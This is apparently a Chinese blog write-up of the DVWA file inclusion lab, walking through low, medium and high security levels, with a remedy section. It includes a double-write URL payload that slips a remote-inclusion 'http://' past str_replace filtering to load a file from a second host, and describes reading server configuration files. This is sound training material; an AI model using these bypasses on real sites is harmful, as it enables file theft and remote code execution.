天天看點

DVWA--file inclusion(檔案包含)風險修複目錄周遊與檔案包含的差別

目錄

  • 風險
    • low
    • mediu
    • high
  • 修複
  • 目錄周遊與檔案包含的差別

風險

通過php的特性函數利用url動态包含檔案,因為沒有對檔案來源進行嚴格審查,導緻任意檔案讀取或者任意指令執行。

前提:

allow_url_fopen=on(是否允許将URL作為檔案處理,預設為on)

allow_url_include=off(是否允許include/require打開URL作為檔案處理 預設為off)

low

檢視源碼:發現對page這個參數沒有做任何過濾

DVWA--file inclusion(檔案包含)風險修複目錄周遊與檔案包含的差別
DVWA--file inclusion(檔案包含)風險修複目錄周遊與檔案包含的差別

這裡嘗試做php的操作:

  • 構造url,顯示報錯的同時顯示伺服器的根目錄的絕對路徑
    DVWA--file inclusion(檔案包含)風險修複目錄周遊與檔案包含的差別
    - 構造url嘗試通路伺服器的根目錄,傳回網站的配置檔案
    DVWA--file inclusion(檔案包含)風險修複目錄周遊與檔案包含的差別

嘗試執行遠端檔案

  • 在遠端伺服器192.168.60.2上傳一個phpinfo.txt檔案
    DVWA--file inclusion(檔案包含)風險修複目錄周遊與檔案包含的差別
  • 構造以下url,成功在伺服器上執行了phpinfo()函數。
    DVWA--file inclusion(檔案包含)風險修複目錄周遊與檔案包含的差別
    總結:說明了檔案包含不僅僅顯示内容還會執行檔案。

mediu

檢視源碼:使用str_place()函數對 == http:// https:// …/ …\ == 進行了替換為空的篩選,

str_replace() 函數以其他字元替換字元串中的一些字元(區分大小寫)。

DVWA--file inclusion(檔案包含)風險修複目錄周遊與檔案包含的差別

進行雙寫繞過替換

page=hthttp://tp://192.168.60.2/phpinfo.txt
           
DVWA--file inclusion(檔案包含)風險修複目錄周遊與檔案包含的差別

high

檢視代碼使用了fnmatch()函數檢查page參數,要求page參數的開頭必須是file,伺服器才會去包含相應檔案

**fnmatch()**函數 根據指定的模式來比對檔案名或字元串

DVWA--file inclusion(檔案包含)風險修複目錄周遊與檔案包含的差別
  • 構造url,成功讀取了伺服器的配置檔案
    DVWA--file inclusion(檔案包含)風險修複目錄周遊與檔案包含的差別

修複

  1. 在功能設計上盡量不要将檔案包含函數對應的檔案放給前端進行選擇和操作
  2. 建議使用白名單,僅允許包含運作指定的檔案,其他的都禁止
  3. 可通過調用str_replace()函數實作相關敏感字元的過濾,一定程度上防禦了遠端文
  4. 配置php.ini檔案

    allow_url fopen = off

    Allow_url include = off

目錄周遊與檔案包含的差別

目錄周遊是可以讀取web目錄以外的其他目錄,根源在于對路徑通路權限設定不嚴格,針對本系統。

檔案包含是利用函數來包含web目錄以外的檔案,分為本地包含和遠端包含。

繼續閱讀